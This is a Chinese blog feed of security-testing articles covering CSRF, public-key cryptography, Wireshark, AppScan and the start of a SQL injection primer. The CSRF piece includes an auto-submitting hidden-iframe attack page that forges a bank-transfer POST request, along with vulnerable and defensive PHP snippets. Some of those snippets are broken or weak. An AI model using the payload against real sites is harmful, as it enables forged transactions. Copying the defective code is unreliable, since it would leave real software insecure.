IT博客-大话人生-随笔分类-安全性测试

浅谈CSRF攻击方式

大话人生 — Fri, 28 Nov 2014 05:56:00 GMT

一.CSRF是什么？

　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。

二.CSRF可以做什么？

　　你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

三.CSRF漏洞现状

　　CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”。

四.CSRF的原理

　　下图简单阐述了CSRF攻击的思想：

　　从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

　　1.登录受信任网站A，并在本地生成Cookie。

　　2.在不登出A的情况下，访问危险网站B。

　　看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：

　　1.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。

　　2.你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）

　　3.上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。

　　上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:>）

　　示例1：

　　银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000

　　危险网站B，它里面有一段HTML的代码如下：

　　首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......

　　为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com /Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作......

　　示例2：

　　为了杜绝上面的问题，银行决定改用POST请求完成转账操作。

　　银行网站A的WEB表单如下：　　

　　<form action="Transfer.php" method="POST">
　　　　<p>ToBankId: <input type="text" name="toBankId" />p>
　　　　<p>Money: <input type="text" name="money" />p>
　　　　<p><input type="submit" value="Transfer" />p>
　　form>

　　后台处理页面Transfer.php如下：

　　php
　　　　session_start();
　　　　if (isset($_REQUEST['toBankId'] &&　isset($_REQUEST['money']))
　　　　{
　　　　 buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);
　　　　}
　　?>

　　危险网站B，仍然只是包含那句HTML代码：

　　和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果.....和示例1一样，你再次没了1000块～T_T，这次事故的原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST 请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

　　示例3：

　　经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：

　　php
　　　　session_start();
　　　　if (isset($_POST['toBankId'] &&　isset($_POST['money']))
　　　　{
　　　　 buy_stocks($_POST['toBankId'],　$_POST['money']);
　　　　}
　　?>

　　然而，危险网站B与时俱进，它改了一下代码：

<html>
　　<head>
　　　　<script type="text/javascript">
　　　　　　function steal()
　　　　　　{
　　　　 iframe = document.frames["steal"];
　　　　 iframe.document.Submit("transfer");
　　　　　　}
　　　　script>
　　head>

　　<body onload="steal()">
　　　　<iframe name="steal" display="none">
　　　　　　<form method="POST" name="transfer"　action="http://www.myBank.com/Transfer.php">
　　　　　　　　<input type="hidden" name="toBankId" value="11">
　　　　　　　　<input type="hidden" name="money" value="1000">
　　　　　　form>
　　　　iframe>
　　body>
html>

如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!

　　总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一个就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了 CSRF攻击，后果都有可能很严重。

　　理解上面的3种攻击模式，其实可以看出，CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的！

五.CSRF的防御

　　我总结了一下看到的资料，CSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。

　　1.服务端进行CSRF防御

　　服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。

　　(1).Cookie Hashing(所有表单都包含同一个伪随机值)：

　　这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:>

　　php
　　　　//构造加密的Cookie信息
　　　　$value = “DefenseSCRF”;
　　　　setcookie(”cookie”, $value, time()+3600);
　　?>

　　在表单里增加Hash值，以认证这确实是用户发送的请求。

　　php
　　　　$hash = md5($_COOKIE['cookie']);
　　?>
　　<form method=”POST” action=”transfer.php”>
　　　　<input type=”text” name=”toBankId”>
　　　　<input type=”text” name=”money”>
　　　　<input type=”hidden” name=”hash” value=”$hash;?>”>
　　　　<input type=”submit” name=”submit” value=”Submit”>
　　form>

　　然后在服务器端进行Hash值验证

      php
　　      if(isset($_POST['check'])) {
     　　      $hash = md5($_COOKIE['cookie']);
          　　 if($_POST['check'] == $hash) {
               　　 doJob();
　　           } else {
　　　　　　　　//...
          　　 }
　　      } else {
　　　　　　//...
　　      }
      ?>

　　这个方法个人觉得已经可以杜绝99%的CSRF攻击了，那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，这就另外的1%。一般的攻击者看到有需要算Hash值，基本都会放弃了，某些除外，所以如果需要100%的杜绝，这个不是最好的方法。
　　(2).验证码

　　这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄....这个方案可以完全解决CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。

　　(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

　　在实现One-Time Tokens时，需要注意一点：就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单，CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

　　以下我的实现:

　　1).先是令牌生成函数(gen_token())：

     php
     function gen_token() {
　　　　//这里我是贪方便，实际上单使用Rand()得出的随机数作为令牌，也是不安全的。
　　　　//这个可以参考我写的Findbugs笔记中的《Random object created and used only once》
          $token = md5(uniqid(rand(), true));
          return $token;
     }

　　2).然后是Session令牌生成函数(gen_stoken())：

     php
     　　function gen_stoken() {
　　　　　　$pToken = "";
　　　　　　if($_SESSION[STOKEN_NAME] == $pToken){
　　　　　　　　//没有值，赋新值
　　　　　　　　$_SESSION[STOKEN_NAME] = gen_token();
　　　　　　}
　　　　　　else{
　　　　　　　　//继续使用旧的值
　　　　　　}
     　　}
     ?>

　　3).WEB表单生成隐藏输入域的函数：　　

     　　     function gen_input() {
     　　     gen_stoken();
　　          echo “          　　     value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;
     　　}
     ?>

　　4).WEB表单结构：

     php
          session_start();
          include(”functions.php”);
     ?>
     <form method=”POST” action=”transfer.php”>
          <input type=”text” name=”toBankId”>
          <input type=”text” name=”money”>
           gen_input(); ?>
          <input type=”submit” name=”submit” value=”Submit”>
     FORM>

　　5).服务端核对令牌：

　　这个很简单，这里就不再啰嗦了。

　　上面这个其实不完全符合“并行会话的兼容”的规则，大家可以在此基础上修改。

　　其实还有很多想写，无奈精力有限，暂且打住，日后补充，如果错漏，请指出:>

　　PS：今天下午写这篇文档的时候FF崩溃了一次，写了一半文章的全没了，郁闷好久T_T.......

　　转载请说明出处，谢谢[hyddd(http://www.cnblogs.com/hyddd/)]

大话人生 2014-11-28 13:56 发表评论

非对称加密原理解析

大话人生 — Tue, 18 Nov 2014 09:50:00 GMT

一、加密算法种类
1密钥
密钥，一般就是一个字符串或数字，在加密或者解密时传递给加密或解密算法，以使算法能够正确对明文加密或者对密文解密。
2加密算法分类
这世上存在两种加密算法：对称加密(symmetric cryptography)和非对称加密(asymmetric cryptography)。
也就是说，你想进行加解密操作的时候需要具备两样东西：秘钥和加解密算法。
2.1、对称加密
对称加密算法的特点是加密使用的密钥和解密使用的密钥是相同的。也就是说，加密和解密都是使用的同一个密钥。因此对称加密算法要保证安全性的话，密钥自然要做好保密，只能让使用的人知道，不能对外公开。
2.2、非对称加密
在非对称加密算法中，有公钥和私钥两种密钥，其中，公钥是公开的，不需要保密，私钥由个人持有，必须妥善保管和注意保密。加密和解密使用两种不同的密钥，是它得名的原因。估计大家都听说过RSA，这就是一种常见的，应用很广的非对称加密算法。

二、非对称加密方法
1公钥私钥的使用原则
①每一个公钥都对应一个私钥。
②密钥对中，让大家都知道的是公钥，不告诉大家，只有自己知道的，是私钥。 ③如果用其中一个密钥加密数据，则只有对应的那个密钥才可以解密。
④如果用其中一个密钥可以进行解密数据，则该数据必然是对应的那个密钥进行的加密。

非对称密钥密码的主要应用就是公钥加密和公钥认证。
2公钥加密、解密
加密的目的，是不希望第三者看到当前两个通讯用户的通讯内容。

2.1加密
A（客户）想给B（服务器）发送一段文字，但是不想让别人看到，因此想使用非对称加密方法来加密这段文字，当然，B需要有一对公钥和私钥：
① B将他的公钥发送给A
② A用B给他的公钥加密这段文字，然后传给B
③ B用他的私钥解密A发过来的消息，这里要强调的是，只要B的私钥不泄露，这封信就是安全的，即使落在别人手里，也无法解密。
通过这几步，B就能成功收到A发送的信息，同时又达到了保密的目的。

2.2解密
如果B想给A回信息，就简单的多了：
① B将要回复的信息通过自己的私钥加密，然后传送给A
② A用B之前给他的公钥解出这份信息。

3、公钥认证
在2公钥加密、解密里面描述的通讯过程看似简单，但想想这个问题：在过程2中，A怎么B给他的回信在传递过程中，有没有被人修改？这就涉及到数字签名的概念。

3.1数字签名（digital signature）
微软官方给出的定义：“数字签名”是指可以添加到文件的电子安全标记。使用它可以验证文件的发行者以及帮助验证文件自被数字签名后是否发生更改。

3.1.1数字签名原理
要达到这个目的，一般是对信息做一个hash计算得到一个hash值，注意，这个过程是不可逆的，也就是说无法通过hash值得出原来的信息内容。在把信息发送出去时，把这个hash值加密后做为一个签名和信息一起发出去。接收方在收到信息后，会重新计算信息的hash值，并和信息所附带的hash值(解密后)进行对比，如果一致，就说明信息的内容没有被修改过，因为这里 hash计算可以保证不同的内容一定会得到不同的hash值，所以只要内容一被修改，根据信息内容计算的hash值就会变化。当然，不怀好意的人也可以修改信息内容的同时也修改hash值，从而让它们可以相匹配，为了防止这种情况，hash值一般都会加密后(也就是签名)再和信息一起发送。

3.1.2数字签名使用方式
下面通过例子来说明这个过程：
B给A回信时，采用了数字签名的方式
1、B先用hash函数，生成信件的摘要(digest)
2、B使用自己的私钥，对这个摘要加密，这样就生成了数字签名(signature)
3、B将这个签名附在要回复的信息后面，一起发给A
4、A收到B的信息后，取下数字签名，并通过B的公钥解密，得到信件的摘要信息
5、A在对B发送的信息本身使用B指定的hash函数，将得到的结果同上一步解密得到的摘要进行对比，如果两者一致，就说明B发过来的信息未被修改过。

3.2数字证书（Digital Certificate）
问题就这样结束了吗？远没有，试想，虽然A确定了B回给他的信息是未修改过的，但是怎么确定给他回信息的就是B？如果有不怀好意的C把A保存的B的公钥偷偷换成自己的，并冒用B的名义给A发信息呢？
要解决这个问题，A只要能确定自己持有的公钥到底是不是B的就行了，这就需要用到数字证书。
数字证书是用来验证公钥所属的用户身份。在日常生活中，如果我们要验证一个人的身份，通常的做法是查看他的身份证。我们信任身份证颁发机构即政府机构的公信力，因此只要验证一个人的身份证不是伪造的，我们就相信这个人的身份和身份证上所描述的是一致的。
数字证书就是一个人或者组织在网络世界中的身份证，其发证机关是证书管理机构(certificate authority,CA)。CA用自己的私钥对用户的身份信息(主要是用户名和该用户的公钥)进行签名，该签名和用户的身份信息一起就形成了证书。

3.2.1数字证书的构成
 证书的发布机构（Issuer）
指出是什么机构发布的这个证书，也就是指明这个证书是哪个证书中心（certificate authority，简称CA）发布的的(只是创建证书，不是指证书的使用者)。
 证书的有效期（Valid from , Valid to）
也就是证书的有效时间，或者说证书的使用期限。过了有效期限，证书就会作废，不能使用了。
 公钥（Public key）
这个我们在前面介绍公钥密码体制时介绍过，公钥是用来对消息进行加密解密的，是很长的一串数字。
 证书所有者（Subject）
这个证书是发布给谁的，或者说证书的所有者，一般是某个人或者某个公司名称、机构的名称、公司网站的网址等。
 签名所使用的算法（Signature algorithm）
指的这个数字证书的数字签名所使用的加密算法，这样就可以使用证书发布机构的证书里面的公钥，根据这个算法对指纹进行解密。指纹的加密结果就是数字签名
 指纹以及指纹算法（Thumbprint, Thumbprint algorithm）
这个是用来保证证书的完整性的，也就是说确保证书没有被修改过。其原理就是在发布证书时，发布者根据指纹算法(一个hash算法)计算整个证书的hash值(指纹)并和证书放在一起，使用者在打开证书时，自己也根据指纹算法计算一下证书的hash值(指纹)，如果和刚开始的值对得上，就说明证书没有被修改过，因为证书的内容被修改后，根据证书的内容计算的出的hash 值(指纹)是会变化的。

3.2.2数字证书的生成过程

1、使用数字证书申请者的身份信息生成数字签名

2、将证书申请者的身份信息和数字签名一起组成数字证书

3.2.3数字证书原理
有了数字证书以后，A和想跟B通信，就可以通过B的数字证书来获取B的公钥，以达到验证自己手中的公钥到底是不是B的目的。过程是这样的：
1、B给A回信的时候，在信息后面附上了自己的数字证书
2、A收到B的回信以后，会取出附带的数字证书，并读取证书中的发布机构（Issuer），然后从操作系统的受信任证书机构列表中查找该证书办发机构的公钥，如果找不到，说明这个证书颁发机构是个不受信任的，B发过来的信息当然也是不安全的
3、使用上一步取到的证书颁发机构的公钥，解出数字证书，得到可能是B的用户信息和数字签名
4、A通过证书中指定的加密算法对可能是B的用户信息进行hash加密
5、加密后的结果和证书中解出的数字签名进行对比，如果相同，就说明这份用户信息确实是B的，也就是说用户信息中包含的公钥确实是B的
这样就验证了B身份的真实性。
下图很形象的表示了这个过程：

3.2.4证书发布中心（CA）的公钥的嵌套验证
这里有一个有趣的问题，用户A使用证书机构的公钥来验证用户B的数字证书，但如果A和B使用的证书认证中心（CA）不同怎么办呢？由于证书认证中心可以通过另外一个更高级别的认证中心对该证书机构的公钥颁发一个证书，这样形成了一个公钥证书的嵌套循环，该循环的终点就是根证书机构。根证书机构较少，其公钥可以通过安全的方式发布，如通过USB拷贝、书面文件当面移交。如此依赖，A就必须从B的CA的树形结构底部开始，从底层CA往上层CA查询，一直到找到共同的信任CA为止。
整个过程如下图所示：

3.2.5证书发布机构
3.2.5.1谁可以成为证书发布机构
到这里，你可能会想，那我们自己就不能发布证书吗？就一定要花钱去申请？
当然不是，我们自己也可以成立证书发布机构，但是需要通过一些安全认证等等，只是有点麻烦。另外，如果数字证书只是要在公司内部使用，公司可以自己给自己生成一个证书，在公司的所有机器上把这个证书设置为操作系统信任的证书发布机构的证书(这句话仔细看清楚，有点绕口)，这样以后公司发布的证书在公司内部的所有机器上就可以通过验证了(在发布证书时，把这些证书的Issuer(发布机构)设置为我们自己的证书发布机构的证书的Subject(主题)就可以了)。但是这只限于内部应用，因为只有我们公司自己的机器上设置了信任我们自己这个所谓的证书发布机构，而其它机器上并没有事先信任我们这个证书发布机构，所以在其它机器上，我们发布的证书就无法通过安全验证。

我们自己可以去注册一家公司来专门给别人发布证书，但是很明显，我们自己的专门发布证书的公司是不会被那些国际上的权威机构认可的，人家怎么知道你是不是个狗屁皮包公司？因此微软（或其它操作系统提供商）在它的操作系统中，并不会信任我们这个证书发布机构，当应用程序在检查证书的合法信的时候，一看证书的发布机构并不是操作系统所信任的发布机构，就会抛出错误信息。也就是说windows操作系统中不会预先安装好我们这个证书发布机构的证书，不信任我们这个发布机构。

3.2.5.2不受信任的证书发布机构的危害
为什么一个证书发布机构受不受信任这么重要？我们举个例子。假设我们开了一个狗屁公司来为别人发布证书，并且我和微软有一腿，微软在他们的操作系统中把我设置为了受信任的证书发布机构。现在如果有个小公司叫hisunsray花了10块钱让我为他们公司申请了一个证书，并且公司慢慢壮大，证书的应用范围也越来越广。然后有个奸商的公司baidu想冒充hisunsray，于是给了我￥10000，让我为他们颁布一个证书，但是证书的名字(Subject) 要写hisunsray，假如我为了这￥10000，真的把证书给了他们，那么他们以后就可以使用这个证书来冒充hisunsray了。
如果是一个优秀的证书发布机构，比如你要向他申请一个名字叫hisunsray的证书，它会让你提供很多资料证明你确实可以代表hisunsray这个公司，也就是说他回去核实你的身份。证书发布机构是要为他发布出的证书负法律责任的。

3.2.6如何查看数字证书
我们的操作系统中会预先安装好一些证书发布机构的证书，我们可以通过证书管理器进行证书的增、删操作，下面介绍如何找到它们。

3.2.6.1windows
开始菜单->运行，输入certmgr.msc，回车

3.2.6.2mac
打开keychain，选择钥匙串中的系统根证书，种类中的证书即可看到下图所示的收信人证书发布机构列表：

当然，以上这些内容，只涉及到非对称加密方法的最基础原理，实际使用的时候肯定复杂很多，有兴趣大家可以私下研究。

-----------by wangzz

大话人生 2014-11-18 17:50 发表评论

wireshark怎么抓包、wireshark抓包详细图文教程

大话人生 — Mon, 17 Nov 2014 12:51:00 GMT

wireshark是非常流行的网络封包分析软件，功能十分强大。可以截取各种网络封包，显示网络封包的详细信息。使用wireshark的人必须了解网络协议，否则就看不懂wireshark了。
为了安全考虑，wireshark只能查看封包，而不能修改封包的内容，或者发送封包。

wireshark能获取HTTP，也能获取HTTPS，但是不能解密HTTPS，所以wireshark看不懂HTTPS中的内容，总结，如果是处理HTTP,HTTPS 还是用Fiddler, 其他协议比如TCP,UDP 就用wireshark.

Wireshark(网络嗅探抓包工具) v1.4.9 中文版(包含中文手册+主界面的操作菜单) 评分:

3.1

类别：远程监控大小：22M 语言：中文
查看详细信息 >>

wireshark 开始抓包

开始界面

wireshark是捕获机器上的某一块网卡的网络包，当你的机器上有多块网卡的时候，你需要选择一个网卡。

点击Caputre->Interfaces.. 出现下面对话框，选择正确的网卡。然后点击"Start"按钮, 开始抓包

Wireshark 窗口介绍

WireShark 主要分为这几个界面

1. Display Filter(显示过滤器)，用于过滤

2. Packet List Pane(封包列表)，显示捕获到的封包，有源地址和目标地址，端口号。颜色不同，代表

3. Packet Details Pane(封包详细信息), 显示封包中的字段

4. Dissector Pane(16进制数据)

5. Miscellanous(地址栏，杂项)

使用过滤是非常重要的，初学者使用wireshark时，将会得到大量的冗余信息，在几千甚至几万条记录中，以至于很难找到自己需要的部分。搞得晕头转向。

过滤器会帮助我们在大量的数据中迅速找到我们需要的信息。

过滤器有两种，

一种是显示过滤器，就是主界面上那个，用来在捕获的记录中找到所需要的记录

一种是捕获过滤器，用来过滤捕获的封包，以免捕获太多的记录。在Capture -> Capture Filters 中设置

保存过滤

在Filter栏上，填好Filter的表达式后，点击Save按钮，取个名字。比如"Filter 102",

Filter栏上就多了个"Filter 102" 的按钮。

过滤表达式的规则

表达式规则

1. 协议过滤

比如TCP，只显示TCP协议。

2. IP 过滤

比如 ip.src ==192.168.1.102 显示源地址为192.168.1.102，

ip.dst==192.168.1.102, 目标地址为192.168.1.102

3. 端口过滤

tcp.port ==80, 端口为80的

tcp.srcport == 80, 只显示TCP协议的愿端口为80的。

4. Http模式过滤

http.request.method=="GET", 只显示HTTP GET方法的。

5. 逻辑运算符为 AND/ OR

常用的过滤表达式

过滤表达式	用途
http	只查看HTTP协议的记录
ip.src ==192.168.1.102 or ip.dst==192.168.1.102	源地址或者目标地址是192.168.1.102

封包列表(Packet List Pane)

封包列表的面板中显示，编号，时间戳，源地址，目标地址，协议，长度，以及封包信息。你可以看到不同的协议用了不同的颜色显示。

你也可以修改这些显示颜色的规则， View ->Coloring Rules.

封包详细信息 (Packet Details Pane)

这个面板是我们最重要的，用来查看协议中的每一个字段。

各行信息分别为

Frame: 物理层的数据帧概况

Ethernet II: 数据链路层以太网帧头部信息

Internet Protocol Version 4: 互联网层IP包头部信息

Transmission Control Protocol: 传输层T的数据段头部信息，此处是TCP

Hypertext Transfer Protocol: 应用层的信息，此处是HTTP协议

TCP包的具体内容

从下图可以看到wireshark捕获到的TCP包中的每个字段。

看到这，基本上对wireshak有了初步了解，现在我们看一个TCP三次握手的实例

三次握手过程为

这图我都看过很多遍了，这次我们用wireshark实际分析下三次握手的过程。

打开wireshark, 打开浏览器输入 http://www.cr173.com

在wireshark中输入http过滤，然后选中GET /tankxiao HTTP/1.1的那条记录，右键然后点击"Follow TCP Stream",

这样做的目的是为了得到与浏览器打开网站相关的数据包，将得到如下图

图中可以看到wireshark截获到了三次握手的三个数据包。第四个包才是HTTP的，这说明HTTP的确是使用TCP建立连接的。

第一次握手数据包

客户端发送一个TCP，标志位为SYN，序列号为0，代表客户端请求建立连接。如下图

第二次握手的数据包

服务器发回确认包, 标志位为 SYN,ACK. 将确认序号(Acknowledgement Number)设置为客户的I S N加1以.即0+1=1, 如下图

第三次握手的数据包

客户端再次发送确认包(ACK) SYN标志位为0,ACK标志位为1.并且把服务器发来ACK的序号字段+1,放在确定字段中发送给对方.并且在数据段放写ISN的+1, 如下图:

就这样通过了TCP三次握手，建立了连接

大话人生 2014-11-17 20:51 发表评论

Rational AppScan 工作原理

大话人生 — Fri, 05 Sep 2014 14:33:00 GMT

Rational AppScan 工作原理

Rational AppScan（简称 AppScan）其实是一个产品家族，包括众多的应用安全扫描产品，从开发阶段的源代码扫描的 AppScan source edition，到针对 Web 应用进行快速扫描的 AppScan standard edition，以及进行安全管理和汇总整合的 AppScan enterprise Edition 等。我们经常说的 AppScan 就是指的桌面版本的 AppScan，即 AppScan standard edition。其安装在 Windows 操作系统上，可以对网站等 Web 应用进行自动化的应用安全扫描和测试。

来张 AppScan 的截图，用图表说话，更明确。

图 1. AppScan 标准版界面

图 1 大图

请注意右上角，单击“扫描”下面的小三角，可以出现如下的三个选型“继续完全扫描”、“继续仅探索”、“继续仅测试”，有木有？什么意思？理解了这个地方，就理解了 AppScan 的工作原理，我们慢慢展开：

还没有正式开始安全测试之前，所以先不管“继续”，直接来讨论“完全扫描”，“仅探索”，“仅测试”三个名词：

AppScan 三个核心要素

AppScan 是对网站等 Web 应用进行安全攻击来检查网站是否存在安全漏洞；既然是攻击，需要有明确的攻击对象吧.对网站来说，一个网站存在的页面，可能成千上万。每个页面也都可能存在多个字段（参数），比如一个登陆界面，至少要输入用户名和密码吧，这就是一个页面存在两个字段，你提交了用户名密码等登陆信息，网站总要有地方接受并且检查是否正确吧，这就可能存在一个新的检查页面。这里的每个页面的每个参数都可能存在安全漏洞，所有都是被攻击对象，都需要来检查。

这就存在一个问题，我们来负责来检查一个网站的安全性，这个网站有多少个页面，有多少个参数，页面之间如何跳转，我们可能并不明确，如何知道这些信息？看起来很复杂，盘根错节；那就更需要找到那个线索，提纲挈领；想一想，访问一个网站的时候，我们需要知道的最重要的信息是哪个？网站主页地址吧？从网站地址开始，很多其他频道，其他页面都可以链接过去，对不对，那么可不可以有种技术，告诉了它网站的入口地址，然后它“顺藤摸瓜”，找出其他的网页和页面参数？OK，这就是“爬虫”技术，具体说，是“网站爬虫”，其利用了网页的请求都是用 http 协议发送的，发送和返回的内容都是统一的语言 HTML，那么对 HTML 语言进行分析，找到里面的参数和链接，纪录并继续发送之，最终，找到了这个网站的众多的页面和目录。这个能力 AppScan 就提供了，这里的术语叫“探索”，explorer，就是去发现，去分析，了解未知的，并记录之。

在使用 AppScan 的时候，要配置的第一个就是要检查的网站的地址，配置了以后，AppScan 就会利用“探索”技术去发现这个网站存在多少个目录，多少个页面，页面中有哪些参数等，简单说，了解了你的网站的结构。

“探索”了解了，测试的目标和范围就大致确定了，然后呢，进行安全攻击，这个过程就是“测试”；针对发现的每个页面的每个参数，进行安全检查，检查的弹药就来自 AppScan 的扫描规则库，其类似杀毒软件的病毒库，具体可以检查的安全攻击类型都在里面做好了，我们去使用即可。

那么什么是“完全测试呢”，完全测试就是把上面的两个步骤整合起来，“探索”+“测试”；在安全测试过程中，可以先只进行探索，不进行测试，目的是了解被测的网站结构，评估范围；然后选择“继续仅测试”，只对前面探索过的页面进行测试，不对新发现的页面进行测试。“完全测试”就是把两个步骤结合在一起，一边探索，一边测试。

AppScan 工作原理小结如下：

通过搜索（爬行）发现整个 Web 应用结构
根据分析，发送修改的 HTTP Request 进行攻击尝试（扫描规则库）
通过对于 Respone 的分析验证是否存在安全漏洞

图 2. AppScan 扫描原理：扫描规则库 + 爬行 + 测试

步骤 1：探索（又叫爬行，爬网）

图 3. 探索（爬网，爬行）

步骤 2：测试（针对找到的页面，生成测试，进行安全攻击）

图 4. 针对探索发现的页面和参数，进行安全测试

所以，简言之，AppScan 的核心是提供一个扫描规则库，然后利用自动化的“探索”技术得到众多的页面和页面参数，进而对这些页面和页面参数进行安全性测试。“扫描规则库”，“探索”，“测试”就构成了 AppScan 的核心三要素。而在安全扫描过程中，如何进行优化，就要结合这三个要素，看哪些部分需要优化，应该如何优化。

AppScan 结果文件

同时，对于 AppScan 标准版来说，扫描的配置和结果信息都保存为后缀名为 Scan 文件，Scan 文件里面主要包括的内容如下：

扫描配置信息：扫描配置信息，如扫描的目标网站地址，录制的登陆过程脚本等，选择的扫描设置等都保存在 Scan 文件中。
所有访问到页面信息：针对每个发现的页面，即使没有进行测试，在探索过程也会访问该页面并纪录 http request/response 信息；所以如果探索的页面访问的时候返回的页面内容比较多，页面比较大，那么即使只做了探索根本没有扫描，整个 Scan 文件也会很大。
测试阶段，记录测试成功的测试变体和页面访问信息：针对每个页面都会发送多次测试（测试变体），每次测试都会有 Request/response 信息，这些信息如果测试通过，即发现了一个安全问题，则会把该测试变体对应得 request/response 都会纪录下来，保存在 .scan 文件中；由于 AppScan 的扫描测试用例库全面，对于每种安全威胁漏洞，都会发送多个安全测试变体（Variant）进行测试，比如对于 XSS 问题，AppScan 发送了 100 个变体，其中 30 个执行失败，70 个变体执行成功，则会纪录 70 次执行成功的具体变体信息，以及每个变体对应的 Request/Response 信息。这就是一个很大的数据量。这些信息保存以后，就可以在不连接在网站的情况下进行结果分析，快速显示当时测试的页面快照等。

我们以http://demo.testfire.net/bank/customize.aspx 为例，如下就有 74 个变体都发现了 Customize 页面的 Lang 参数存在跨站点脚本执行（XSS）类型的安全漏洞：

图 5. 测试变体显示

图 5 大图

所以针对 AppScan 标准版来说，由于需要保存的信息比较多，结果文件是会比较大的，最根本的方法还是有针对性地进行扫描和测试，使用排除页面等排除冗余页面，把一个大的系统分解为多个小的扫描任务等。

好的，了解了 AppScan 的原理，我们就结合原来讨论下为什么扫描大型网站时候可能遇到问题了。

大话人生 2014-09-05 22:33 发表评论

SQL盲注攻击的简单介绍

大话人生 — Thu, 04 Sep 2014 11:46:00 GMT

1 简介
    1.1 普通SQL注入技术概述
    目前没有对SQL注入技术的标准定义，微软中国技术中心从2个方面进行了描述[1]：
    (1) 脚本注入式的攻击
    (2) 恶意用户输入用来影响被执行的SQL脚本

    根据Chris Anley的定义[2], 当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中，这种方法就可以定义成SQL注入。Stephen Kost[3]给出了这种攻击形式的另一个特征，“从一个数据库获得未经授权的访问和直接检索”，SQL注入攻击就其本质而言，它利用的工具是SQL的语法，针对的是应用程序开发者编程过程中的漏洞，“当攻击者能够操作数据，往应用程序中插入一些SQL语句时，SQL注入攻击就发生了”。实际上，SQL注入是存在于常见的多连接的应用程序中一种漏洞，攻击者通过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素，欺骗数据库服务器执行非授权的任意查询。这类应用程序一般是网络应用程序(Web Application)，它允许用户输入查询条件，并将查询条件嵌入SQL请求语句中，发送到与该应用程序相关联的数据库服务器中去执行。通过构造一些畸形的输入，攻击者能够操作这种请求语句去获取预先未知的结果。

    在风险方面，SQL注入攻击是位居前列的，与缓冲区溢出等漏洞基本相当。而且如果要实施缓冲区溢出攻击，攻击者必须首先能绕过站点的防火墙；而对于SQL 注入攻击，由于防火墙为了使用户能访问网络应用程序，必须允许从Internet到Web服务器的正向连接，因此一旦网络应用程序有注入漏洞，攻击者就可以直接访问数据库进而甚至能够获得数据库所在的服务器的访问权，因此在某些情况下，SQL注入攻击的风险要高于所有其他漏洞。

